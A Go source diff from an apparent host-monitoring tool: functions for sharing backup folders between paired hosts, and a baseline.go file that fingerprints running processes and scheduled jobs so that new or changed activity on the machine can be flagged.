func sharesFor(reader string) []backupShare {
|
||||
if reader == "" {
|
||||
return nil
|
||||
}
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
m, err := sharesLoadLocked()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
out := append([]backupShare(nil), m[reader]...)
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Slug < out[j].Slug })
|
||||
return out
|
||||
}
|
||||
|
||||
// addBackupShare lets the pairing `reader`, whose own backup folder is
|
||||
// readerRoot, read the folder dir. from names it for the person and becomes
|
||||
// the folder's name in listings (shared/<slug>).
|
||||
func addBackupShare(reader, readerRoot, dir, from string) (*backupShare, error) {
|
||||
if reader == "" {
|
||||
return nil, errors.New("say which host to share with")
|
||||
}
|
||||
abs, err := filepath.Abs(dir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fi, err := os.Stat(abs)
|
||||
if err != nil || !fi.IsDir() {
|
||||
return nil, fmt.Errorf("%s is not a folder", dir)
|
||||
}
|
||||
if resolvedPath(abs) == resolvedPath(readerRoot) {
|
||||
return nil, errors.New("that is already this host's own backup folder")
|
||||
}
|
||||
if why := bastionStateOverlap(abs); why != "" {
|
||||
return nil, errors.New(why)
|
||||
}
|
||||
slug := strings.Trim(shareSlugRe.ReplaceAllString(strings.ToLower(from), "-"), "-.")
|
||||
if len(slug) > 40 {
|
||||
slug = slug[:40]
|
||||
}
|
||||
if slug == "" {
|
||||
slug = "folder"
|
||||
}
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
m, err := sharesLoadLocked()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
taken := map[string]bool{}
|
||||
for _, s := range m[reader] {
|
||||
if s.Dir == abs {
|
||||
return nil, fmt.Errorf("that folder is already shared with this host as shared/%s", s.Slug)
|
||||
}
|
||||
taken[s.Slug] = true
|
||||
}
|
||||
base := slug
|
||||
for i := 2; taken[slug]; i++ {
|
||||
slug = fmt.Sprintf("%s-%d", base, i)
|
||||
}
|
||||
s := backupShare{Slug: slug, Dir: abs, From: from, Added: time.Now().UTC().Format(time.RFC3339)}
|
||||
m[reader] = append(m[reader], s)
|
||||
if err := sharesSaveLocked(m); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &s, nil
|
||||
}
|
||||
|
||||
func dropBackupShare(reader, slug string) error {
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
m, err := sharesLoadLocked()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var keep []backupShare
|
||||
found := false
|
||||
for _, s := range m[reader] {
|
||||
if s.Slug == slug {
|
||||
found = true
|
||||
continue
|
||||
}
|
||||
keep = append(keep, s)
|
||||
}
|
||||
if !found {
|
||||
return fmt.Errorf("no folder is shared with this host as shared/%s", slug)
|
||||
}
|
||||
if len(keep) == 0 {
|
||||
delete(m, reader)
|
||||
} else {
|
||||
m[reader] = keep
|
||||
}
|
||||
return sharesSaveLocked(m)
|
||||
}
|
||||
|
||||
// dropSharesOf takes back every folder shared with the pairing reader: called
|
||||
// when it is unpaired or revoked, so a later pairing under the same name does
|
||||
// not inherit them.
|
||||
func dropSharesOf(reader string) error {
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
m, err := sharesLoadLocked()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, ok := m[reader]; !ok {
|
||||
return nil
|
||||
}
|
||||
delete(m, reader)
|
||||
return sharesSaveLocked(m)
|
||||
}
|
||||
@@ -0,0 +1,827 @@
|
||||
package main
|
||||
|
||||
// baseline.go — `observe:baseline`, the accounting of what is NORMAL on this
|
||||
// machine.
|
||||
//
|
||||
// The rule: "execution outside" means anything that is not in the baseline.
|
||||
// Taking the baseline is a scan of the machine and an accounting of what is
|
||||
// there and what it is doing; a new process after the baseline gets flagged.
|
||||
//
|
||||
// So the whole detection story rests on one question — "have I seen this
|
||||
// before?" — and that question is only as good as what counts as "this". A
|
||||
// fingerprint that is too loose calls a swapped binary the same program; one
|
||||
// that is too tight calls every restart a new one and buries the real finding
|
||||
// under noise. Everything in this file exists to get that one comparison right.
|
||||
//
|
||||
// NO MODEL ANYWHERE IN THIS PATH. Every rule here is
|
||||
// deterministic over typed evidence. The host READS the result; it never
|
||||
// produces it.
|
||||
//
|
||||
// WHAT THE FINGERPRINT IS MADE OF, and why each part earns its place:
|
||||
//
|
||||
// exe digest the CONTENT of the file the kernel opened, not its path. A path
|
||||
// is a name an attacker can reuse: drop a new binary at
|
||||
// /usr/bin/node and a path-keyed baseline says "seen it". The
|
||||
// digest is the one field that changes when the program changes.
|
||||
// user the same binary run by root and by a person are different facts
|
||||
// about this machine, and collapsing them hides a privilege step.
|
||||
// unit what OWNS the process — the systemd unit, the scheduler entry.
|
||||
// This is what makes a restart the SAME entry: pid, start time and
|
||||
// parent pid all change when a service bounces, and none of them
|
||||
// may be in here for that reason.
|
||||
// argv shape the command line with volatile fields masked (below). A worker
|
||||
// that takes a different port or temp path on every start is the
|
||||
// same program; a worker that grows a --load-extension flag is not.
|
||||
//
|
||||
// DELIBERATELY ABSENT: pid, ppid, start time. All three change on every
|
||||
// restart of the same service, and a baseline that churns is a baseline nobody
|
||||
// reads.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// baselineVersion is the domain prefix of every fingerprint, for the reason
|
||||
// sanction.go:425-432 gives: a bump makes it arithmetically impossible for an
|
||||
// entry hashed under new rules to collide with one hashed under the old, so
|
||||
// "entries from before the change must not silently match" holds even if every
|
||||
// other guard were removed by accident.
|
||||
// BUMPED TO v2 BECAUSE THE ENTRIES CHANGED MEANING, not because the
|
||||
// fingerprint rules did. A v1 accounting on Linux holds no model endpoints for
|
||||
// any entry — the unfiltered walk never carried them (baselineWalk says why) —
|
||||
// while a v2 walk does. The fingerprints still match, so nothing here would
|
||||
// have caught it: every known process talking to a model would have reported
|
||||
// `proc_changed [llm_endpoint]` at high, on every pass until somebody retook
|
||||
// the accounting, with a sentence saying it had "started talking to a model"
|
||||
// that was not true.
|
||||
//
|
||||
// The version is the mechanism that already exists for exactly this: the delta
|
||||
// refuses to compare across it and asks for a retake in one sentence, instead
|
||||
// of producing a page of findings that are all the same fact about a software
|
||||
// upgrade (deltarun.go).
|
||||
const baselineVersion = "privatae-baseline-v2"
|
||||
|
||||
// baselineEntry is one thing that was running, or scheduled to run, when the
|
||||
// accounting was taken.
|
||||
type baselineEntry struct {
|
||||
FP string `json:"fp"`
|
||||
Kind string `json:"kind"` // process | scheduler | listener
|
||||
// What the fingerprint was computed from, kept so a later finding can say
|
||||
// WHY two things differ instead of only that they do.
|
||||
ExeDigest string `json:"exe_digest,omitempty"`
|
||||
Exe string `json:"exe,omitempty"`
|
||||
User string `json:"user,omitempty"`
|
||||
Unit string `json:"unit,omitempty"`
|
||||
ArgvShape string `json:"argv_shape,omitempty"`
|
||||
// Descriptive, never fingerprinted: these are how a person reads the entry.
|
||||
Signature string `json:"signature,omitempty"`
|
||||
Origin string `json:"origin,omitempty"`
|
||||
Endpoints []string `json:"llm_endpoints,omitempty"`
|
||||
// DigestNote says why ExeDigest is empty when it is. An empty digest with
|
||||
// no reason reads as "nothing to see"; it is usually "this box could not
|
||||
// look", which is a different fact and the person is entitled to it.
|
||||
DigestNote string `json:"digest_note,omitempty"`
|
||||
}
|
||||
|
||||
// baselineFile is the accounting as it sits on disk.
|
||||
type baselineFile struct {
|
||||
Version string `json:"version"`
|
||||
TakenAt string `json:"taken_at"`
|
||||
// Machine is this box's own identity at the moment of the scan: the bastion
|
||||
// binary's digest and the mode it was in. A baseline taken by a different
|
||||
// binary is a different measurement and says so.
|
||||
BastionDigest string `json:"bastion_digest,omitempty"`
|
||||
BastionVersion string `json:"bastion_version,omitempty"`
|
||||
Mode string `json:"mode,omitempty"`
|
||||
// Coverage is which truth this file holds: "all-processes" where the
|
||||
// platform has an unfiltered walk, "recognised-only" where it does not. A
|
||||
// delta computed against a recognised-only baseline can only ever notice
|
||||
// recognised things, and whoever reads this is entitled to know which one
|
||||
// they have.
|
||||
Coverage string `json:"coverage"`
|
||||
Entries []baselineEntry `json:"entries"`
|
||||
// Unreadable counts the processes this box could see but not identify —
|
||||
// another user's, a handle it may not open. NOT an error and NOT zero-able:
|
||||
// a baseline taken as one user is a smaller truth than one taken as root,
|
||||
// and the number is how the reader knows which they are holding.
|
||||
Unreadable int `json:"unreadable"`
|
||||
// Digest covers every content field, so a baseline that has been edited on
|
||||
// disk does not read as the one that was taken. It is the box's own quick
|
||||
// integrity check and the key delta-state.json is filed under — NOT the
|
||||
// proof of who took the measurement. That is Attestation.
|
||||
Digest string `json:"digest"`
|
||||
// Attestation is the signature block (baselinesign.go): the accounting
|
||||
// signed with the anchor pairing's operator key, whose certificate the host
|
||||
// issued and can verify against its CA and this machine's bound fingerprint.
|
||||
// nil when nothing on this machine could sign, and UnsignedReason says why —
|
||||
// "unsigned" must never be ambiguous between "this build cannot sign" and
|
||||
// "this machine had no key that speaks for it".
|
||||
Attestation *baselineAttestation `json:"attestation,omitempty"`
|
||||
UnsignedReason string `json:"unsigned_reason,omitempty"`
|
||||
}
|
||||
|
||||
// ── the fingerprint ─────────────────────────────────────────────────────────
|
||||
|
||||
// baselineFP is the stable identity of one entry.
|
||||
func baselineFP(kind, exeDigest, user, unit, argvShape string) string {
|
||||
sum := sha256.Sum256([]byte(baselineVersion + "\x00" + kind + "\x00" +
|
||||
exeDigest + "\x00" + user + "\x00" + unit + "\x00" + argvShape))
|
||||
return hex.EncodeToString(sum[:16])
|
||||
}
|
||||
|
||||
// ── the argv shape ──────────────────────────────────────────────────────────
|
||||
|
||||
// Volatile fields, masked before the command line is fingerprinted. Each of
|
||||
// these was chosen because it changes between two runs of the SAME program, so
|
||||
// leaving it in would report a restart as something new.
|
||||
var (
|
||||
// A number on its own: ports, pids, worker indexes, generation counters.
|
||||
reBaselineNum = regexp.MustCompile(`\b\d{2,}\b`)
|
||||
// Hex runs of 8+: request ids, container ids, socket names, digests.
|
||||
reBaselineHex = regexp.MustCompile(`\b[0-9a-fA-F]{8,}\b`)
|
||||
// Anything under a temp root, to the first separator past it.
|
||||
reBaselineTmp = regexp.MustCompile(`(?i)(/tmp/|/var/tmp/|/private/var/folders/|\\Temp\\)[^\s]*`)
|
||||
// A UUID in any casing.
|
||||
reBaselineUUID = regexp.MustCompile(`(?i)\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b`)
|
||||
)
|
||||
|
||||
// baselineArgvShape masks the volatile parts of a command line.
|
||||
//
|
||||
// ORDER MATTERS AND IS NOT ARBITRARY: UUID before hex (a UUID's segments are
|
||||
// hex and would be eaten piecemeal, producing a different shape depending on
|
||||
// which ran first), temp paths before numbers (a temp path usually contains
|
||||
// one), hex before numbers (a digest is digits often enough).
|
||||
func baselineArgvShape(cmdline string) string {
|
||||
s := strings.TrimSpace(cmdline)
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
s = reBaselineUUID.ReplaceAllString(s, "<uuid>")
|
||||
s = reBaselineTmp.ReplaceAllString(s, "$1<tmp>")
|
||||
s = reBaselineHex.ReplaceAllString(s, "<hex>")
|
||||
s = reBaselineNum.ReplaceAllString(s, "<n>")
|
||||
return strings.Join(strings.Fields(s), " ")
|
||||
}
|
||||
|
||||
// ── the exe digest ──────────────────────────────────────────────────────────
|
||||
|
||||
// baselineMaxDigest caps what this will read. A digest is of an executable, and
|
||||
// an executable larger than this is not one — it is a data file something is
|
||||
// pointing at, and reading it would turn an accounting pass into an IO storm.
|
||||
const baselineMaxDigest = 512 << 20
|
||||
|
||||
// baselineExeDigest hashes the file the kernel says the process is running.
|
||||
//
|
||||
// The empty return is a NOTE, never an error: a box that cannot read another
|
||||
// user's executable is the ordinary case for an unprivileged scan, and the
|
||||
// baseline records how much it could see rather than refusing to exist.
|
||||
func baselineExeDigest(exe string) (digest, note string) {
|
||||
if strings.TrimSpace(exe) == "" {
|
||||
return "", "the kernel supplied no path for this process"
|
||||
}
|
||||
fi, err := os.Stat(exe)
|
||||
if err != nil {
|
||||
return "", "could not be read by this account"
|
||||
}
|
||||
if !fi.Mode().IsRegular() {
|
||||
return "", "is not a regular file"
|
||||
}
|
||||
if fi.Size() > baselineMaxDigest {
|
||||
return "", fmt.Sprintf("is %d bytes, past the %d-byte cap for hashing an executable",
|
||||
fi.Size(), int64(baselineMaxDigest))
|
||||
}
|
||||
f, err := os.Open(exe)
|
||||
if err != nil {
|
||||
return "", "could not be opened by this account"
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return "", "could not be read to the end"
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), ""
|
||||
}
|
||||
|
||||
// ── taking the accounting ───────────────────────────────────────────────────
|
||||
|
||||
// baselineFromObservations turns one observe pass into baseline entries.
|
||||
//
|
||||
// It takes the observations rather than scanning itself, so that the baseline
|
||||
// and the per-heartbeat report can never disagree about what is running: they
|
||||
// read the same plane (agents.go scanAgents), and a delta computed against a
|
||||
// baseline built from a DIFFERENT scanner would be measuring the two scanners
|
||||
// against each other.
|
||||
func baselineFromObservations(obs []agentObs, digestOf func(string) (digest, note string)) ([]baselineEntry, int) {
|
||||
out := make([]baselineEntry, 0, len(obs))
|
||||
unreadable := 0
|
||||
seen := map[string]bool{}
|
||||
at := map[string]int{} // fingerprint -> index in out
|
||||
for _, a := range obs {
|
||||
e := baselineEntryOf(a, digestOf)
|
||||
if e.ExeDigest == "" {
|
||||
unreadable++
|
||||
}
|
||||
// One ENTRY per distinct fingerprint, not one per pid. Four workers of
|
||||
// the same service are one fact about this machine; recording them
|
||||
// four times would make a baseline that grows every restart.
|
||||
if seen[e.FP] {
|
||||
// THE ENDPOINTS OF EVERY PROCESS BEHIND THAT FINGERPRINT, UNIONED.
|
||||
// This kept the FIRST pid's and dropped the rest, while the delta's
|
||||
// live side unioned them — so four workers of one service, with only
|
||||
// the fourth talking to a model, recorded no endpoint at baseline and
|
||||
// then reported `proc_changed[llm_endpoint]` at high on an unchanged
|
||||
// machine, every pass until the accounting was retaken. Two sides
|
||||
// of one comparison have to aggregate the same way or the comparison
|
||||
// measures the aggregation.
|
||||
if i, ok := at[e.FP]; ok {
|
||||
out[i].Endpoints = unionStrings(out[i].Endpoints, e.Endpoints)
|
||||
}
|
||||
continue
|
||||
}
|
||||
seen[e.FP] = true
|
||||
at[e.FP] = len(out)
|
||||
out = append(out, e)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].FP < out[j].FP })
|
||||
return out, unreadable
|
||||
}
|
||||
|
||||
// baselineWalk is the ONE way this plane looks at the machine — the unfiltered
|
||||
// process walk where the platform has one, the signature-filtered plane where
|
||||
// it does not, and in both cases with the model endpoints attached.
|
||||
//
|
||||
// THE ENDPOINTS WERE MISSING FROM THE UNFILTERED WALK, WHICH MADE THE WHOLE
|
||||
// MODEL SIGNAL DEAD ON LINUX — the one platform that has the full walk.
|
||||
// baselineAllProcesses reads /proc for pid, user, argv, exe,
|
||||
// unit and parent (baseline_all_linux.go:57-70) and nothing else; only
|
||||
// scanAgents resolves connections to inference endpoints (agents.go:265-277).
|
||||
// So both sides of every comparison held an empty endpoint list, and the two
|
||||
// rules that rest on it — `proc_changed[llm_endpoint]`, and "a new process WITH
|
||||
// a model endpoint is high" — could not fire on the boxes that matter most.
|
||||
// Measured here: 0 live entries carrying an endpoint, against 4 observations
|
||||
// that had one.
|
||||
//
|
||||
// The endpoints come from the observe plane rather than being re-derived, for
|
||||
// the reason baselineFromObservations gives about scanners: two planes that
|
||||
// answer the same question differently turn every comparison into a comparison
|
||||
// of the planes. Measured cost of the extra pass: 21-23 ms warm.
|
||||
//
|
||||
// The error is the walk NOT happening — the filtered plane failed — and it is
|
||||
// a third answer, not a flavour of the other two: `complete=false` with no
|
||||
// error means "this platform has no unfiltered walk, the recognised-only plane
|
||||
// was used", which is a real accounting with a true coverage label. A failed
|
||||
// walk returned as `complete=false` would have been SAVED under that label
|
||||
// with every process inside it (baselineCoverage reads only the bool), and a
|
||||
// later blind pass would then have read the accounting as scope-agreeing and
|
||||
// closed findings it never looked at (machinestore.go storeScopeAgrees). So
|
||||
// the callers get the error and refuse: no accounting, no comparison.
|
||||
//
|
||||
// baselineAllProcessesFn is the seam a test uses to stand on the
|
||||
// recognised-only platforms from linux; production never reassigns it.
|
||||
var baselineAllProcessesFn = baselineAllProcesses
|
||||
|
||||
func baselineWalk() ([]agentObs, bool, error) {
|
||||
obs, complete := baselineAllProcessesFn()
|
||||
if !complete {
|
||||
// The filtered plane already carries its own endpoints — it is where
|
||||
// they come from — so there is nothing to attach.
|
||||
agents, err := scanAgents()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return agents, false, nil
|
||||
}
|
||||
agents, err := scanAgents()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
byPID := map[int][]string{}
|
||||
for _, a := range agents {
|
||||
if len(a.LLMEndpoints) > 0 {
|
||||
byPID[a.PID] = a.LLMEndpoints
|
||||
}
|
||||
}
|
||||
return baselineAttachEndpoints(obs, byPID), true, nil
|
||||
}
|
||||
|
||||
// baselineAttachEndpoints is the join, by pid. Split out so the wiring is
|
||||
// testable without a machine that happens to be talking to a model right now.
|
||||
func baselineAttachEndpoints(obs []agentObs, byPID map[int][]string) []agentObs {
|
||||
if len(byPID) == 0 {
|
||||
return obs
|
||||
}
|
||||
for i := range obs {
|
||||
if eps, ok := byPID[obs[i].PID]; ok {
|
||||
obs[i].LLMEndpoints = eps
|
||||
}
|
||||
}
|
||||
return obs
|
||||
}
|
||||
|
||||
// baselineEntryOf turns ONE observation into an entry. It is split out because
|
||||
// the delta needs the entry for a single process while keeping the pid that
|
||||
// produced it (delta.go), and the one thing the delta may never do is build its
|
||||
// entries differently from the accounting it compares them against — a
|
||||
// fingerprint computed by two functions is a fingerprint that will drift, and
|
||||
// the whole plane rests on "have I seen this before?" meaning one thing.
|
||||
//
|
||||
// The digest function is a parameter for the same reason: the accounting hashes
|
||||
// every executable fresh, the per-beat delta reads through a cache
|
||||
// (deltacache.go), and a caller cannot get the ANSWER to differ — only how long
|
||||
// it took to arrive.
|
||||
func baselineEntryOf(a agentObs, digestOf func(string) (digest, note string)) baselineEntry {
|
||||
digest, note := digestOf(a.Exe)
|
||||
shape := baselineArgvShape(a.Cmdline)
|
||||
unit := baselineUnitOf(a)
|
||||
return baselineEntry{
|
||||
FP: baselineFP("process", digest, a.User, unit, shape),
|
||||
Kind: "process",
|
||||
ExeDigest: digest,
|
||||
Exe: a.Exe,
|
||||
User: a.User,
|
||||
Unit: unit,
|
||||
ArgvShape: shape,
|
||||
Signature: a.Signature,
|
||||
Origin: a.Origin,
|
||||
Endpoints: a.LLMEndpoints,
|
||||
DigestNote: note,
|
||||
}
|
||||
}
|
||||
|
||||
// baselineUnitOf is what OWNS a process.
|
||||
//
|
||||
// THE FIRST VERSION OF THIS COMMENT OVERSTATED THE COST of doing it properly
|
||||
// and used that to justify not doing it. It said adding the real unit meant
|
||||
// "a change to the scanners" — true on darwin and windows, where
|
||||
// procFacts.Unit is never populated, and false on linux, where origin_linux.go
|
||||
// already reads the cgroup into it and the classifier throws it away
|
||||
// afterwards. Carrying it onto agentObs was a handful of
|
||||
// lines, so it is carried.
|
||||
func baselineUnitOf(a agentObs) string {
|
||||
// The REAL owning unit when the platform supplies one. On linux that is the
|
||||
// systemd slice/unit read from the process's cgroup — two different
|
||||
// services are then told apart by their unit rather than both reading
|
||||
// "service" and relying on digest and argv alone.
|
||||
if a.Unit != "" {
|
||||
return a.Unit
|
||||
}
|
||||
// Darwin and windows never populate it, so those fall back to HOW the thing
|
||||
// started. Weaker, and named as such rather than papered over.
|
||||
if a.Origin == "" {
|
||||
return "unknown"
|
||||
}
|
||||
return a.Origin
|
||||
}
|
||||
|
||||
// baselineFromSchedulers turns the standing jobs into baseline entries.
|
||||
//
|
||||
// SCHEDULED WORK IS PART OF WHAT IS NORMAL, and leaving it out was a real
|
||||
// under-scope: the accounting is meant to hold the standing jobs — cron,
|
||||
// systemd timers, launchd, scheduled tasks, with the command each would run —
|
||||
// and baselineEntry.Kind has always documented `process | scheduler | listener`
|
||||
// while only processes were ever recorded. A cron job added after the baseline
|
||||
// would have been outside the vocabulary the delta compares against — invisible
|
||||
// to the thing built to notice new work.
|
||||
//
|
||||
// A scheduler entry is fingerprinted on what it WOULD RUN, not on a running
|
||||
// process: there is no pid and usually no exe to digest until it fires. The
|
||||
// command's argv shape carries the meaning, and the schedule is deliberately
|
||||
// NOT in the fingerprint — changing WHEN a known job runs is a different event
|
||||
// from a new job appearing, and the delta should be able to say which.
|
||||
func baselineFromSchedulers(entries []schedEntry) []baselineEntry {
|
||||
out := make([]baselineEntry, 0, len(entries))
|
||||
seen := map[string]bool{}
|
||||
for _, e := range entries {
|
||||
b := baselineEntryOfSched(e)
|
||||
if seen[b.FP] {
|
||||
continue
|
||||
}
|
||||
seen[b.FP] = true
|
||||
out = append(out, b)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].FP < out[j].FP })
|
||||
return out
|
||||
}
|
||||
|
||||
// baselineEntryOfSched turns ONE standing job into an entry — split out beside
|
||||
// baselineEntryOf, and for the same reason: the delta builds the live side from
|
||||
// it, so the two sides of every comparison come from one constructor.
|
||||
func baselineEntryOfSched(e schedEntry) baselineEntry {
|
||||
// The signature when the command is recognised — a PROPERTY, never a
|
||||
// condition for being recorded. An unrecognised standing job is the
|
||||
// interesting one.
|
||||
if e.Signature == "" {
|
||||
if sig, auto, ok := classifySchedCommand(e.Command); ok {
|
||||
e.Signature, e.Automation = sig, auto
|
||||
}
|
||||
}
|
||||
shape := baselineArgvShape(e.Command)
|
||||
return baselineEntry{
|
||||
FP: baselineFP("scheduler", "", e.User, e.Kind+":"+e.Name, shape),
|
||||
Kind: "scheduler", User: e.User,
|
||||
Unit: e.Kind + ":" + e.Name, ArgvShape: shape,
|
||||
Signature: e.Signature,
|
||||
DigestNote: "a scheduled job is recorded by what it would run; there is no " +
|
||||
"executable to digest until it fires",
|
||||
}
|
||||
}
|
||||
|
||||
// ── the file ────────────────────────────────────────────────────────────────
|
||||
|
||||
func baselinePath() (string, error) {
|
||||
d, err := configDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(d, "baseline.json"), nil
|
||||
}
|
||||
|
||||
// baselineDigestOf covers every field except Digest itself.
|
||||
func baselineDigestOf(f baselineFile) (string, error) {
|
||||
f.Digest = ""
|
||||
// The attestation is derived from the content and must not be part of what
|
||||
// it attests; the unsigned reason is provenance metadata, not content.
|
||||
f.Attestation = nil
|
||||
f.UnsignedReason = ""
|
||||
b, err := json.Marshal(f)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
sum := sha256.Sum256(append([]byte(baselineVersion+"\x00"), b...))
|
||||
return hex.EncodeToString(sum[:]), nil
|
||||
}
|
||||
|
||||
// baselineIntegrityNote says what a FAILED digest check means, which is not one
|
||||
// thing.
|
||||
//
|
||||
// baselineDigestOf prefixes with the CURRENT baselineVersion, so every file
|
||||
// taken under older rules recomputes to a different digest — not because
|
||||
// anything touched it, but because the constant moved. Both places that report
|
||||
// this said "it has been changed since it was taken", which after the v2 bump
|
||||
// would have been false on every machine holding an accounting, and alarming in
|
||||
// the one place a person goes to check whether their machine has been tampered
|
||||
// with.
|
||||
//
|
||||
// One function, so the two call sites cannot drift about it again.
|
||||
func baselineIntegrityNote(f *baselineFile, digestOK bool) string {
|
||||
if f == nil || digestOK {
|
||||
return ""
|
||||
}
|
||||
if f.Version != baselineVersion {
|
||||
return "this accounting was taken as " + f.Version + " and this bastion fingerprints " +
|
||||
"as " + baselineVersion + ", so its digest cannot match — it needs to be taken " +
|
||||
"again. That is the rules moving, NOT evidence that anything edited it"
|
||||
}
|
||||
return "this file no longer matches its own digest — it has been changed since it was taken"
|
||||
}
|
||||
|
||||
func baselineSave(f baselineFile) error {
|
||||
d, err := baselineDigestOf(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.Digest = d
|
||||
// Sign with the key that speaks for this machine, or record exactly why
|
||||
// none does — including a pairing that holds no key at all, which is a
|
||||
// REASON, not a failure. A signing FAILURE (a key present but unreadable)
|
||||
// is an error: the accounting must not be written as unsigned when it was
|
||||
// meant to be signed, because the two are indistinguishable to a reader.
|
||||
f.Attestation, f.UnsignedReason = nil, ""
|
||||
if cfgs, lErr := loadPairings(); lErr != nil {
|
||||
f.UnsignedReason = "pairings unreadable: " + lErr.Error()
|
||||
} else if signer, why := baselineSignerPairing(cfgs); signer == nil {
|
||||
f.UnsignedReason = why
|
||||
} else if sErr := baselineSign(&f, signer); sErr != nil {
|
||||
return fmt.Errorf("the accounting could not be signed: %w", sErr)
|
||||
}
|
||||
b, err := json.MarshalIndent(f, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p, err := baselinePath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(p, b, 0o600); err != nil {
|
||||
return err
|
||||
}
|
||||
// Re-chmod for the reason loadOrCreateUISecret does (uiauth.go:108-111):
|
||||
// os.WriteFile applies its mode only on CREATE, so a file written once
|
||||
// under a loose umask keeps those permissions for ever.
|
||||
_ = os.Chmod(p, 0o600)
|
||||
// The store copy is what the host verifies. Written AFTER the state-dir
|
||||
// copy so a failure here leaves the machine with a valid accounting and a
|
||||
// stale mirror rather than the reverse; the error still surfaces.
|
||||
if err := baselineMirror(b); err != nil {
|
||||
return fmt.Errorf("the accounting was written but could not be mirrored into the machine store: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// baselineLoad reads the accounting and reports whether it still matches its
|
||||
// own digest. A mismatch is returned WITH the file rather than instead of it:
|
||||
// the caller needs to be able to say "this was edited" and still show what it
|
||||
// says, which is more useful than refusing to open it.
|
||||
func baselineLoad() (*baselineFile, bool, error) {
|
||||
p, err := baselinePath()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
b, err := os.ReadFile(p)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
var f baselineFile
|
||||
if err := json.Unmarshal(b, &f); err != nil {
|
||||
return nil, false, fmt.Errorf("the baseline on this machine cannot be read: %w", err)
|
||||
}
|
||||
want, err := baselineDigestOf(f)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return &f, want == f.Digest, nil
|
||||
}
|
||||
|
||||
// baselineNarrowNote is what the last collectBaseline could not read. A package
|
||||
// var rather than a return value because collectBaseline's signature is already
|
||||
// four values wide and this is for one printer.
|
||||
var baselineNarrowNote string
|
||||
|
||||
// baselineCoverage names which truth a baseline holds, FOR EACH HALF.
|
||||
//
|
||||
// One word was not enough: the file read "all-processes" while the scheduler
|
||||
// half was still recognised-only, which told a reader the opposite of the truth
|
||||
// about the half that mattered for persistence.
|
||||
// Four halves, and the two added later report `unsupported` rather than
|
||||
// `recognised-only`, because that is a different fact. A scheduler half that
|
||||
// is recognised-only DID look and saw a filtered subset; a listener half on
|
||||
// macOS did not look at all. A delta against the first can report a narrow
|
||||
// truth; against the second it must report that it cannot see the class.
|
||||
func baselineCoverage(allProcs, allSched, listeners, identities bool) string {
|
||||
p, s := "recognised-only", "recognised-only"
|
||||
if allProcs {
|
||||
p = "all"
|
||||
}
|
||||
if allSched {
|
||||
s = "all"
|
||||
}
|
||||
l, i := "unsupported", "unsupported"
|
||||
if listeners {
|
||||
l = "all"
|
||||
}
|
||||
if identities {
|
||||
i = "login-shells"
|
||||
}
|
||||
return "processes=" + p + ",schedulers=" + s + ",listeners=" + l + ",identities=" + i
|
||||
}
|
||||
|
||||
// baselineCoverageRead marks a class `unread` rather than `unsupported` when
|
||||
// this platform CAN read it and the reader failed while the accounting was
|
||||
// being taken (`ss` missing or failing, the account database unreadable). The
|
||||
// two mean different things to whoever reads the line: `unsupported` is a
|
||||
// platform that never compares the class, and retaking changes nothing;
|
||||
// `unread` is an accounting that missed a class it could have held, and
|
||||
// fixing the access and retaking adds it.
|
||||
func baselineCoverageRead(coverage string, listenersUnread, identitiesUnread bool) string {
|
||||
if listenersUnread {
|
||||
coverage = strings.Replace(coverage, "listeners=unsupported", "listeners=unread", 1)
|
||||
}
|
||||
if identitiesUnread {
|
||||
coverage = strings.Replace(coverage, "identities=unsupported", "identities=unread", 1)
|
||||
}
|
||||
return coverage
|
||||
}
|
||||
|
||||
// baselineHasClass answers whether a coverage line says a class was actually
|
||||
// looked at. deltaPass uses it to decide which classes it may report on, so a
|
||||
// baseline taken where a reader was blind can never produce "this machine has
|
||||
// no listeners" out of an absence of entries.
|
||||
func baselineHasClass(coverage, class string) bool {
|
||||
for _, part := range strings.Split(coverage, ",") {
|
||||
k, v, ok := strings.Cut(part, "=")
|
||||
if ok && k == class {
|
||||
return v != "unsupported" && v != "unread" && v != ""
|
||||
}
|
||||
}
|
||||
// A coverage line written before this class existed says nothing about it,
|
||||
// which is the case deltaComparableClasses reports: not looked at.
|
||||
return false
|
||||
}
|
||||
|
||||
